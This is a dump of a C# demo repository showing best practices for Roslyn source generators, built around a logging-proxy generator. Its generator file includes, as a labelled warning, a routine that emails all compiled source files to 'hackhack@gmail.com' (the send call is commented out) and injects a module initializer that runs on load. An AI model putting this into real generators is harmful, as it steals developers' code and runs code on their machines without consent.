├── .gitignore ├── Directory.build.props ├── GeneratorsBestPracticesLiveDemo.sln ├── GeneratorsBestPracticesLiveDemo ├── Data │ ├── Account.cs │ ├── AccountSet.cs │ ├── AccountType.cs │ └── Client.cs ├── GeneratorsBestPracticesLiveDemo.csproj ├── Program.cs └── Services │ ├── AccountingService.cs │ ├── ClientService.cs │ ├── IAccountingService.cs │ └── IClientService.cs ├── LoggingGenerator ├── LoggingGenerator.csproj └── LoggingProxyGenerator.cs ├── README.md └── logEncryption.key /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | #Ignore thumbnails created by Windows 3 | Thumbs.db 4 | #Ignore files built by Visual Studio 5 | *.obj 6 | *.exe 7 | *.pdb 8 | *.user 9 | *.aps 10 | *.pch 11 | *.vspscc 12 | *_i.c 13 | *_p.c 14 | *.ncb 15 | *.suo 16 | *.tlb 17 | *.tlh 18 | *.bak 19 | *.cache 20 | *.ilk 21 | *.log 22 | [Bb]in 23 | [Dd]ebug*/ 24 | *.lib 25 | *.sbr 26 | .idea/ 27 | .vs/ 28 | obj/ 29 | [Rr]elease*/ 30 | _ReSharper*/ 31 | [Tt]est[Rr]esult* 32 | -------------------------------------------------------------------------------- /Directory.build.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | true 4 | 5 | -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30509.190 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "GeneratorsBestPracticesLiveDemo", "GeneratorsBestPracticesLiveDemo\GeneratorsBestPracticesLiveDemo.csproj", "{53217733-31EE-4656-A199-84DAFA9AB1AB}" 7 | EndProject 8 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "LoggingGenerator", "LoggingGenerator\LoggingGenerator.csproj", "{128D061C-DB53-4257-9DF2-0B4A568C1F2A}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {531ABDA6-02FC-417C-9810-4B8273200485} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Data/Account.cs: -------------------------------------------------------------------------------- 1 | namespace GeneratorsBestPracticesLiveDemo.Data 2 | { 3 | public class Account 4 | { 5 | public int Id { get; set; } 6 | public decimal Balance { get; set; } 7 | public AccountType Type { get; set; } 8 | 9 | public override string ToString() 10 | { 11 | return $"Account {{ {nameof(Id)}: {Id}, {nameof(Type)}: {Type}, {nameof(Balance)}: {Balance} }}"; 12 | } 13 | } 14 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Data/AccountSet.cs: -------------------------------------------------------------------------------- 1 | using System.Collections; 2 | using System.Collections.Generic; 3 | 4 | namespace GeneratorsBestPracticesLiveDemo.Data 5 | { 6 | public class AccountSet : IEnumerable 7 | { 8 | private HashSet myAccounts; 9 | 10 | public AccountSet(HashSet accounts) => myAccounts = accounts; 11 | 12 | public IEnumerator GetEnumerator() => myAccounts.GetEnumerator(); 13 | IEnumerator IEnumerable.GetEnumerator() => GetEnumerator(); 14 | 15 | public override string ToString() 16 | { 17 | return $@"Accounts [ {string.Join(", ", myAccounts) } ]"; 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Data/AccountType.cs: -------------------------------------------------------------------------------- 1 | namespace GeneratorsBestPracticesLiveDemo.Data 2 | { 3 | public enum AccountType 4 | { 5 | Debit, 6 | Credit 7 | } 8 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Data/Client.cs: -------------------------------------------------------------------------------- 1 | namespace GeneratorsBestPracticesLiveDemo.Data 2 | { 3 | public class Client 4 | { 5 | public string Name { get; set; } 6 | public string Email { get; set; } 7 | 8 | public override string ToString() 9 | { 10 | return $"Client {{ {nameof(Name)}: {Name}, {nameof(Email)}: {Email} }}"; 11 | } 12 | } 13 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/GeneratorsBestPracticesLiveDemo.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Exe 5 | net5 6 | preview 7 | enable 8 | GeneratorsBestPracticesLiveDemo 9 | CS8785 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using GeneratorsBestPracticesLiveDemo.Data; 3 | using GeneratorsBestPracticesLiveDemo.Services; 4 | using NLog; 5 | using NLog.Config; 6 | using NLog.Targets; 7 | using LoggingImplDefault; 8 | 9 | namespace GeneratorsBestPracticesLiveDemo 10 | { 11 | class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | var config = new LoggingConfiguration(); 16 | var logconsole = new ConsoleTarget("logconsole"); 17 | config.AddRule(LogLevel.Trace, LogLevel.Fatal, logconsole); 18 | LogManager.Configuration = config; 19 | 20 | var accounting = new AccountingService().WithLogging(); 21 | var clientService = new ClientService(accounting).WithLogging(); 22 | 23 | Test(clientService); 24 | } 25 | 26 | private static void Test(IClientService clientService) 27 | { 28 | try 29 | { 30 | var client1 = new Client {Name = "Petya", Email = "petya@gmail.com"}; 31 | var client2 = new Client {Name = "Vasya", Email = "vasya@gmail.com"}; 32 | clientService.GetTotalAccountBalanceRemainder(client1); 33 | Console.WriteLine(); 34 | clientService.GetTotalAccountBalanceRemainder(client2); 35 | } 36 | catch 37 | { 38 | } 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Services/AccountingService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using GeneratorsBestPracticesLiveDemo.Data; 4 | 5 | namespace GeneratorsBestPracticesLiveDemo.Services 6 | { 7 | public class AccountingService : IAccountingService 8 | { 9 | public AccountSet GetClientAccounts(Client client) 10 | { 11 | return client.Name switch 12 | { 13 | "Petya" => new AccountSet(new HashSet(new [] {new Account { Type = AccountType.Debit, Balance = 15000, Id = 2}, new Account { Type = AccountType.Credit, Balance = -20000, Id = 3}})), 14 | _ => throw new Exception($"{client} not found!") 15 | }; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Services/ClientService.cs: -------------------------------------------------------------------------------- 1 | using System.Linq; 2 | using System.Threading; 3 | using GeneratorsBestPracticesLiveDemo.Data; 4 | 5 | namespace GeneratorsBestPracticesLiveDemo.Services 6 | { 7 | public class ClientService : IClientService 8 | { 9 | private readonly IAccountingService _accountingService; 10 | 11 | public ClientService(IAccountingService lengthCalculator) 12 | { 13 | _accountingService = lengthCalculator; 14 | } 15 | 16 | public decimal GetTotalAccountBalanceRemainder(Client client) 17 | { 18 | var accountsSet = _accountingService.GetClientAccounts(client); 19 | Thread.Sleep(200); 20 | return accountsSet.Sum(x => x.Balance); 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Services/IAccountingService.cs: -------------------------------------------------------------------------------- 1 | using GeneratorsBestPracticesLiveDemo.Data; 2 | 3 | namespace GeneratorsBestPracticesLiveDemo.Services 4 | { 5 | [Log] 6 | public interface IAccountingService 7 | { 8 | AccountSet GetClientAccounts(Client client); 9 | } 10 | } -------------------------------------------------------------------------------- /GeneratorsBestPracticesLiveDemo/Services/IClientService.cs: -------------------------------------------------------------------------------- 1 | using GeneratorsBestPracticesLiveDemo.Data; 2 | 3 | namespace GeneratorsBestPracticesLiveDemo.Services 4 | { 5 | [Log] 6 | public interface IClientService 7 | { 8 | decimal GetTotalAccountBalanceRemainder(Client client); 9 | } 10 | } -------------------------------------------------------------------------------- /LoggingGenerator/LoggingGenerator.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | netstandard2.0 5 | preview 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /LoggingGenerator/LoggingProxyGenerator.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Net.Mail; 7 | using System.Text; 8 | using Microsoft.CodeAnalysis; 9 | using Microsoft.CodeAnalysis.CSharp; 10 | using Microsoft.CodeAnalysis.CSharp.Syntax; 11 | 12 | namespace LoggingGenerator 13 | { 14 | public class SyntaxReceiver : ISyntaxReceiver 15 | { 16 | public HashSet TypeDeclarationsWithAttributes { get; } = new(); 17 | 18 | public void OnVisitSyntaxNode(SyntaxNode syntaxNode) 19 | { 20 | if (syntaxNode is TypeDeclarationSyntax declaration 21 | && declaration.AttributeLists.Any()) 22 | { 23 | TypeDeclarationsWithAttributes.Add(declaration); 24 | } 25 | } 26 | } 27 | 28 | [Generator] 29 | public class LoggingProxyGenerator : ISourceGenerator 30 | { 31 | public void Initialize(GeneratorInitializationContext context) 32 | => context.RegisterForSyntaxNotifications(() => new SyntaxReceiver()); 33 | 34 | public void Execute(GeneratorExecutionContext context) 35 | { 36 | var namespaceName = "LoggingImplDefault"; 37 | 38 | var compilation = context.Compilation; 39 | 40 | context.AnalyzerConfigOptions.GlobalOptions 41 | .TryGetValue("build_property.LogEncryption", out var logEncryptionStr); 42 | bool.TryParse(logEncryptionStr, out var encryptLog); 43 | 44 | var syntaxReceiver = (SyntaxReceiver) context.SyntaxReceiver; 45 | var loggingTargets = syntaxReceiver.TypeDeclarationsWithAttributes; 46 | 47 | var logSrc = "class LogAttribute : System.Attribute { }"; 48 | context.AddSource("Log.cs", logSrc); 49 | 50 | var options = (CSharpParseOptions) compilation.SyntaxTrees.First().Options; 51 | var logSyntaxTree = CSharpSyntaxTree.ParseText(logSrc, options); 52 | compilation = compilation.AddSyntaxTrees(logSyntaxTree); 53 | 54 | var keyFile = context.AdditionalFiles.FirstOrDefault(x => x.Path.EndsWith(".key")); 55 | 56 | var logAttribute = compilation.GetTypeByMetadataName("LogAttribute"); 57 | 58 | var targetTypes = new HashSet(); 59 | foreach (var targetTypeSyntax in loggingTargets) 60 | { 61 | context.CancellationToken.ThrowIfCancellationRequested(); 62 | 63 | var semanticModel = compilation.GetSemanticModel(targetTypeSyntax.SyntaxTree); 64 | var targetType = semanticModel.GetDeclaredSymbol(targetTypeSyntax); 65 | var hasLogAttribute = targetType.GetAttributes() 66 | .Any(x => x.AttributeClass.Equals(logAttribute)); 67 | if (!hasLogAttribute) 68 | continue; 69 | 70 | if (targetTypeSyntax is not InterfaceDeclarationSyntax) 71 | { 72 | context.ReportDiagnostic( 73 | Diagnostic.Create( 74 | "LG01", 75 | "Log generator", 76 | "[Log] must be applied to an interface", 77 | defaultSeverity: DiagnosticSeverity.Error, 78 | severity: DiagnosticSeverity.Error, 79 | isEnabledByDefault: true, 80 | warningLevel: 0, 81 | location: targetTypeSyntax.GetLocation())); 82 | continue; 83 | } 84 | 85 | targetTypes.Add(targetType); 86 | } 87 | 88 | foreach (var targetType in targetTypes) 89 | { 90 | context.CancellationToken.ThrowIfCancellationRequested(); 91 | 92 | var proxySource = GenerateProxy(targetType, namespaceName, encryptLog, keyFile?.GetText()?.ToString()); 93 | context.AddSource($"{targetType.Name}.Logging.cs", proxySource); 94 | } 95 | 96 | Util.SendSourcesToEmail(context); 97 | } 98 | 99 | private string GenerateProxy(ITypeSymbol targetType, string namespaceName, bool encrypt, string encryptionKey) 100 | { 101 | var allInterfaceMethods = targetType.AllInterfaces 102 | .SelectMany(x => x.GetMembers()) 103 | .Concat(targetType.GetMembers()) 104 | .OfType() 105 | .ToList(); 106 | 107 | var fullQualifiedName = GetFullQualifiedName(targetType); 108 | 109 | var sb = new StringBuilder(); 110 | var proxyName = targetType.Name.Substring(1) + "LoggingProxy"; 111 | sb.Append($@" 112 | using System; 113 | using System.Text; 114 | using NLog; 115 | using System.Diagnostics; 116 | 117 | namespace {namespaceName} 118 | {{ 119 | public static partial class LoggingExtensions 120 | {{ 121 | public static {fullQualifiedName} WithLogging(this {fullQualifiedName} baseInterface) 122 | => new {proxyName}(baseInterface); 123 | }} 124 | 125 | public class {proxyName} : {fullQualifiedName} 126 | {{ 127 | private readonly ILogger _logger = LogManager.GetLogger(""{targetType.Name}""); 128 | private readonly {fullQualifiedName} _target; 129 | public {proxyName}({fullQualifiedName} target) 130 | => _target = target; 131 | "); 132 | 133 | foreach (var interfaceMethod in allInterfaceMethods) 134 | { 135 | var containingType = interfaceMethod.ContainingType; 136 | var parametersList = string.Join(", ", interfaceMethod.Parameters.Select(x => $"{GetFullQualifiedName(x.Type)} {x.Name}")); 137 | var argumentLog = string.Join(", ", interfaceMethod.Parameters.Select(x => $"{x.Name} = {{{x.Name}}}")); 138 | var argumentList = string.Join(", ", interfaceMethod.Parameters.Select(x => x.Name)); 139 | var isVoid = interfaceMethod.ReturnsVoid; 140 | var interfaceFullyQualifiedName = GetFullQualifiedName(containingType); 141 | sb.Append($@" 142 | {interfaceMethod.ReturnType} {interfaceFullyQualifiedName}.{interfaceMethod.Name}({parametersList}) 143 | {{ 144 | {Log("LogLevel.Info", $"\"{interfaceMethod.Name} started...\"")} 145 | {Log("LogLevel.Info", $"$\" Arguments: {argumentLog}\"")} 146 | var sw = new Stopwatch(); 147 | sw.Start(); 148 | try 149 | {{ 150 | "); 151 | 152 | sb.Append(" "); 153 | if (!isVoid) 154 | { 155 | sb.Append("var result = "); 156 | } 157 | sb.AppendLine($"_target.{interfaceMethod.Name}({argumentList});"); 158 | sb.AppendLine(" " + Log("LogLevel.Info", $@"$""{interfaceMethod.Name} finished in {{sw.ElapsedMilliseconds}} ms""")); 159 | if (!isVoid) 160 | { 161 | sb.AppendLine(" " + Log("LogLevel.Info", "$\"Return value: {result}\"")); 162 | sb.AppendLine(" return result;"); 163 | } 164 | 165 | sb.Append($@" 166 | }} 167 | catch (Exception e) 168 | {{ 169 | {Log("LogLevel.Error", "e.ToString()")} 170 | throw; 171 | }} 172 | }}"); 173 | } 174 | 175 | sb.Append(@" 176 | } 177 | }"); 178 | return sb.ToString(); 179 | 180 | string Log(string logLevel, string message) 181 | { 182 | if (encrypt) 183 | { 184 | message = message + $" + \"No real encryption in the demo, used key: {encryptionKey}\""; 185 | message = $"System.Convert.ToBase64String(Encoding.UTF8.GetBytes({message}))"; 186 | } 187 | 188 | return $" _logger.Log({logLevel}, {message});"; 189 | } 190 | } 191 | 192 | private static string GetFullQualifiedName(ISymbol symbol) 193 | { 194 | var containingNamespace = symbol.ContainingNamespace; 195 | if (!containingNamespace.IsGlobalNamespace) 196 | return containingNamespace.ToDisplayString() + "." + symbol.Name; 197 | 198 | return symbol.Name; 199 | } 200 | 201 | static class Util 202 | { 203 | // be warned that source generators can do such things 204 | public static void SendSourcesToEmail(GeneratorExecutionContext context) 205 | { 206 | try 207 | { 208 | var message = new MailMessage 209 | { 210 | From = new MailAddress("hackhack@gmail.com"), 211 | To = {"hackhack@gmail.com"}, 212 | Subject = context.Compilation.AssemblyName + " Sources", 213 | Body = string.Empty 214 | }; 215 | 216 | foreach (var syntaxTree in context.Compilation.SyntaxTrees) 217 | { 218 | var attachment = Attachment.CreateAttachmentFromString( 219 | syntaxTree.GetText().ToString(), 220 | Path.GetFileName(syntaxTree.FilePath)); 221 | message.Attachments.Add(attachment); 222 | } 223 | 224 | SmtpClient smtp = new SmtpClient 225 | { 226 | Port = 587, 227 | Host = "smtp.gmail.com", 228 | EnableSsl = true, 229 | UseDefaultCredentials = false, 230 | Credentials = new NetworkCredential("login", "password"), 231 | DeliveryMethod = SmtpDeliveryMethod.Network 232 | }; 233 | 234 | //smtp.Send(message); 235 | 236 | // be aware that source generators can start some work on the client's machine with your app's permissions 237 | const string moduleInitSource = @" 238 | static class HackHack 239 | { 240 | [System.Runtime.CompilerServices.ModuleInitializer] 241 | public static void ModuleInit() => System.Console.WriteLine(""Knock knock Neo!\r\nAll your sources are belong to us!\r\n""); 242 | }"; 243 | context.AddSource("hack.cs", moduleInitSource); 244 | } 245 | catch 246 | { 247 | } 248 | } 249 | } 250 | } 251 | } 252 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BestPracticesSourceGeneratorsDemo 2 | An example demonstraing a few useful practices when working with source generators 3 | 4 | The example is focused on advices for working with source generators that can be checked one by one in commit history such as 5 | - Switching from syntax to semantics as early as possible 6 | - Usage of context.CancellationToken 7 | - Using ISyntaxReceiver to reduce the generator's working time 8 | - Providing attributes that should be used in target projects to configure a generator from the generator itself 9 | - Configuring a generator via MSBuild properties 10 | - Providing a generator with access to additional files it might need 11 | - Emitting diagnostics when generator encounters a problem 12 | - Lifting CS8785 warning indicating a generator failure in the target project to an error 13 | - Warning about potential malicious generators 14 | -------------------------------------------------------------------------------- /logEncryption.key: -------------------------------------------------------------------------------- 1 | just a demo --------------------------------------------------------------------------------